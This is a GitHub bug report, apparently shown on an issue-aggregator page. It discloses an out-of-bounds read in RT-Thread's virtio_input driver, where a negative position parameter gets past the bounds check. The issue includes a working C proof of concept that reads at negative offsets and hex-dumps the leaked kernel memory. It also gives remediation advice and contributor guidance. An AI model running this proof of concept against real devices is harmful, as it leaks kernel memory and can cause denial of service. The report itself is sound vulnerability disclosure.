RT-Thread / RT-Thread/rt-thread

[Bug] Out of bounds read in virtio_input driver

Open
#10,380 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
12.2k
Forks
5.4k
Avg merge
4d 12h
Merged PRs (30d)
40

Description

RT-Thread Version

v5.2.1

Hardware Type/Architectures

Not Apply

Develop Toolchain

Other

Describe the bug

Title

Out of bounds read in virtio_input driver

RT-Thread Version

v5.2.1

Summary

We have identified an out of bounds read vulnerability in function virtio_input_read from virtio_input driver.

Description

The vulnerability is present in file rt-thread/components/drivers/virtio/virtio_input.c. The issue arises due to insufficient verification of the pos parameter before using it as an index in virtio_input_dev->bcst_events array.

static rt_ssize_t virtio_input_read(rt_device_t dev, rt_off_t pos, void *buffer, rt_size_t size)
{
    struct virtio_input_device *virtio_input_dev = (struct virtio_input_device *)dev;

    if (buffer == RT_NULL || pos + size >= virtio_input_dev->virtio_dev.queues[VIRTIO_INPUT_QUEUE_EVENT].num)
    {
        return 0;
    }

    rt_mutex_take(&virtio_input_dev->rw_mutex, RT_WAITING_FOREVER);

    rt_memcpy(buffer, &virtio_input_dev->bcst_events[pos], size);

    rt_mutex_release(&virtio_input_dev->rw_mutex);

    return size;
}

The pos parameter is of type rt_off_t which is a signed data type. The issue appears because there is no check to guarantee that the value of pos is positive before using it as an index in virtio_input_dev->bcst_events array. This may allow an attacker to leak bytes preceding the virtio_input_dev->bcst_events array.

Proof of Concept

We provide a PoC which triggers the vulnerability:

#include <stdint.h>
#include <stdio.h>
#include <rtthread.h>

#define DEV_NAME "virtio-input0"
#define BUFFER_SIZE 0x100

void dump_hex(const void* data, size_t size) {
	char ascii[17];
	size_t i, j;
	ascii[16] = '\0';
	for (i = 0; i < size; ++i) {
		printf("%02X ", ((unsigned char*)data)[i]);
		if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
			ascii[i % 16] = ((unsigned char*)data)[i];
		} else {
			ascii[i % 16] = '.';
		}
		if ((i+1) % 8 == 0 || i+1 == size) {
			printf(" ");
			if ((i+1) % 16 == 0) {
				printf("|  %s \n", ascii);
			} else if (i+1 == size) {
				ascii[(i+1) % 16] = '\0';
				if ((i+1) % 16 <= 8) {
					printf(" ");
				}
				for (j = (i+1) % 16; j < 16; ++j) {
					printf("   ");
				}
				printf("|  %s \n", ascii);
			}
		}
	}
}

int main(void)
{
    static rt_device_t dev = RT_NULL;
    static rt_err_t ret = 0;
    static char *buffer = RT_NULL;

    dev = rt_device_find(DEV_NAME);
    if(RT_NULL == dev)
    {
	    printf("[-] Could not find device %s\n", DEV_NAME);
	    return 0;
    }
    printf("[+] Found device %s\n", DEV_NAME);

    ret = rt_device_open(dev, RT_DEVICE_FLAG_RDONLY);
    if(RT_EOK != ret)
    {
	    printf("[-] Error could not open %s, error: %ld\n", DEV_NAME, ret);
    	return 0;
    }
    printf("[+] Opened device %s\n", DEV_NAME);
    
    buffer = (char*)rt_malloc(BUFFER_SIZE);
    if(!buffer)
    {
        printf("[-] Failed to allocate buffer\n");
        goto cleanup_and_exit;
    }

    printf("[+] Triggering out of bounds read\n");
    for(int i = BUFFER_SIZE; i > 0; --i){
        rt_memset(buffer, 0x41, BUFFER_SIZE);
        if(i >= 8){
            rt_device_read(dev, -i, buffer, i);
        }
        else{
            rt_device_read(dev, -i, buffer, 8);
        }
        dump_hex(buffer, 8);
    }
    printf("[+] Done\n", DEV_NAME);

cleanup_and_exit:
    if(dev){
        rt_device_close(dev);
    }
    if(buffer){
        rt_free(buffer);
    }
    return 0;
}

Risk

An attacker can leverage this vulnerability to perform denial of service attack or leak sensitive information from kernel.

Remediation

We recommend adding an additional check which assures that the value of parameter pos is a positive.

Other additional context

No response

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in rt-thread/components/drivers/virtio/virtio_input.c at virtio_input_read and inspect how pos and size are validated before bcst_events is accessed. Use the provided proof of concept to reproduce the negative-position behavior, then verify that invalid reads are rejected while valid reads retain their existing behavior.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
embedded-iot, security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Stale
Clarity
Clearly specified
Newbie friendliness
58/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.